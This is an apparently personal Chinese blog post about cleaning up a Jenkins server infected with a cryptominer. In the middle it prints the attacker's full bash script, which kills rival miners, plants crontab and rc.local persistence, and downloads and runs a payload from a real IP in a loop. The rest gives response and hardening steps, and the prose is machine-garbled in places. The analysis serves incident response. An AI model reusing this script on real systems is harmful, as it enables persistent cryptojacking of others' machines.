服务器被黑处理过程

忽然手机报警就响了,显示负载高,当即登陆服务器查看,第一眼的就识别到了,服务器被挖矿了。安全老是相对的,再安全的服务器也有可能遭受到***。做为一个安全运维人员,要把握的原则是:尽可能作好系统安全防御,修复全部已知的危险行为,同时,在系统遭受***后可以迅速有效地处理***行为,最大限度地下降***对系统产生的影响接下来是我整个解决思路。
html

 

如图:发现经过jenkins用户启动挖矿程序ios

本次是因为jenkins漏洞致使,这个漏洞是Jenkins cli带来的远程执行漏洞,会被利用自动执行一个挖矿程序,致使你的服务器占用cpu率高web


                                            查看进行.png

 

经过netstat -anp 找到挖矿程序链接的地址 安全

sss.png

         

 

 

 

1.1 过滤执行的脚本

经过服务器被挖矿,你kill上面的进程是无论用的,由于它这里有一个后台执行的脚本,脚本里面写的是一个死循环,你kill掉那个进程,休息五秒本身就起来了。以前我看过挖矿的脚本进行分析的。bash

keyi.png

 

这里附上挖矿的脚本,你们能够本身分析下。服务器

#!/bin/bash
 
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
 
function kills() {
/bin/ps aux |grep -v sourplum | awk '{if($3>20.0) print $2}' | while read procid
do
kill -9 $procid
done
crontab -l | sed '/212.237.2.23/d' | crontab -
crontab -l | sed '/94.177.187.110/d' | crontab -
pkill -f biosetjenkins
ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
ps ax|grep -o './[0-9]* -c'| xargs pkill -f
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
ps ax|grep tmp|grep irqa|grep -v grep|awk '{print $1}'|xargs ps --ppid|awk '{print $1}'|grep -v PID|xargs kill -9
ps ax|grep tmp|grep irqa|grep -v grep|awk '{print $1}'|xargs kill -9
pkill -f 45.76.102.45
pkill -f stratum
pkill -f mixnerdx
pkill -f performedl
pkill -f sleep
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
pkill -f XJnRj
pkill -f NXLAi
pkill -f BI5zj
pkill -f askdljlqw
pkill -f minerd
pkill -f minergate
pkill -f Guard.sh
pkill -f ysaydh
pkill -f bonns
pkill -f donns
pkill -f kxjd
pkill -f 108.61.186.224
pkill -f Duck.sh
pkill -f bonn.sh
pkill -f conn.sh
pkill -f kworker34
pkill -f kw.sh
pkill -f pro.sh
pkill -f polkitd
pkill -f acpid
pkill -f icb5o
pkill -f nopxi
ps -ef|grep '.so'|grep -v grep|cut -c 9-15|xargs kill -9;
pkill -f 45.76.146.166
pkill -f irqbalanc1
pkill -f 188.120.247.175
rm -rf /tmp/httpd.conf
rm -rf /tmp/conn
rm -rf /tmp/conns
rm -f /tmp/irq.sh
rm -f /tmp/irqbalanc1
rm -f /tmp/irq
}
 
function writecrontab() {
       xcrontab=$(cat /etc/crontab | grep "http://207.246.68.21/rootv2.sh" | grep -v grep |wc -l)
       if [ $xcrontab -eq 0 ];then
        echo "0 0 * * *   root    curl http://207.246.68.21/rootv2.sh > /etc/root.sh ; wget -P /etc http://207.246.68.21/rootv2.sh ; rm /etc/root.sh.* ; bash /etc/root.sh &" >> /etc/crontab
       else
        echo ""
       fi
}
 
function writerc() {
       x=$(cat /etc/rc.local | grep "http://207.246.68.21/rootv2.sh" | grep -v grep | wc -l)
       if [ $x -eq 0 ];then
              $(sed -i "s/exit 0//g" /etc/rc.local)
              $(sed -i "s/bash /etc/root.sh//g" /etc/rc.local)
              echo "curl http://207.246.68.21/rootv2.sh > /etc/root.sh ; wget -P /etc http://207.246.68.21/rootv2.sh ; rm -rf /etc/root.sh.* ; bash /etc/root.sh" >> /etc/rc.local
              echo "exit 0" >> /etc/rc.local
       else
              echo ""
       fi
}
 
function hugepage() {
       echo 128 > /proc/sys/vm/nr_hugepages
       sysctl -w vm.nr_hugepages=128
}
 
function downloadyam() {
       if [ ! -f "sourplum" ] ;then
              curl http://207.246.68.21/sourplum > sourplum && chmod +x sourplum
              if [ ! -f "sourplum" ] ;then
                     wget http://207.246.68.21/sourplum && chmod +x sourplum
                     rm -rf sourplum.* #这个是删除假的   没有用 
              fi
              ./sourplum &  #最后的目的是执行这个文件 
       else
              writecrontab
              writerc
              p=$(ps aux | grep sourplum | grep -v grep | wc -l)
              if [ ${p} -eq 1 ];then
                     echo "sourplum"
              elif [ ${p} -eq 0 ];then
                     ./sourplum &
              else
                     echo ""
              fi
       fi
}
 
hugepage
 
while [ 1 ]
do
       kills
       downloadyam
       sleep 5
done

 

 

 

 

1.2 检查定时任务

image.png

切记,这里只是查看的当前的定时任务,还要检查cat /etc/crontab 配置文件,不少时候,它是添加到了配置文件网络

image.png
less

1.3 检查rc.local

image.png

1.4 检查history操做历史

 

1.5 检查登陆日志及系统日志

/var/log/secure 登陆安全日志
/var/log/message  系统日志

 

1.6 处理服务器被黑的几种思路

一、处理服务器遭受***的通常思路
系统遭受***并不可怕,可怕的是面对***一筹莫展,下面就详细介绍下在服务器遭受***后的通常处理思路。
(1)切断网络 全部的***都来自于网络,所以,在得知系统正遭受***的***后,首先要作的就是断开服务器的网络链接,这样除了能切断***源以外,也能保护服务器所在网络的其余主机。
(2)查找***源 能够经过分析系统日志或登陆日志文件,查看可疑信息,同时也要查看系统都打开了哪些端口,运行哪些进程,并经过这些进程分析哪些是可疑的程序。这个过程要根据经验和综合判断能力进行追查和分析。下面会详细介绍这个过程的处理思路。
(3)分析***缘由和途径 既然系统遭到***,那么缘由是多方面的,多是系统漏洞,也多是程序漏洞,必定要查清楚是哪一个缘由致使的,而且还要查清楚遭到***的途径,找到***源,由于只有知道了遭受***的缘由和途径,才能删除***源同时进行漏洞的修复。
(4)备份用户数据 在服务器遭受***后,须要马上备份服务器上的用户数据,同时也要查看这些数据中是否隐藏着***源。若是***源在用户数据中,必定要完全删除,而后将用户数据备份到一个安全的地方。
(5)从新安装系统 永远不要认为本身能完全清除***源,由于没有人能比***更了解***程序,在服务器遭到***后,最安全也最简单的方法就是从新安装系统,由于大部分***程序都会依附在系统文件或者内核中,因此从新安装系统才能完全清除***源。
(6)修复程序或系统漏洞 在发现系统漏洞或者应用程序漏洞后,首先要作的就是修复系统漏洞或者更改程序bug,由于只有将程序的漏洞修复完毕才能正式在服务器上运行。
(7)恢复数据和链接网络 将备份的数据从新复制到新安装的服务器上,而后开启服务,最后将服务器开启网络链接,对外提供服务。
二、检查并锁定可疑用户
当发现服务器遭受***后,首先要切断网络链接,可是在有些状况下,好比没法立刻切断网络链接时,就必须登陆系统查看是否有可疑用户,若是有可疑用户登陆了系统,那么须要立刻将这个用户锁定,而后中断此用户的远程链接。

1.7 对系统进行安全防御

1.     修改默认帐号密码及端口如(sshd)
2.     隐藏真实服务器的外网地址,及外网暴露端口尽量的少
3.     取消没必要要的服务 
4.     升级Jenkins CLI
5.     对web进行代码审计,防止SQL注入
6.     限制系统的登陆
7.     进行防火墙安全设置 
8.     防止SSH等暴力破解


1.8 挖矿病毒的原理分析

1.     经过定时任务去下载远程的脚本程序
2.     经过脚本,执行守护进程程序,占用服务器资源cpu
3.     发现占用进程的程序kill掉,它会自动起来,找到执行脚本,杀掉根源。切记对定时任务和rc.local进行检查和能够进程。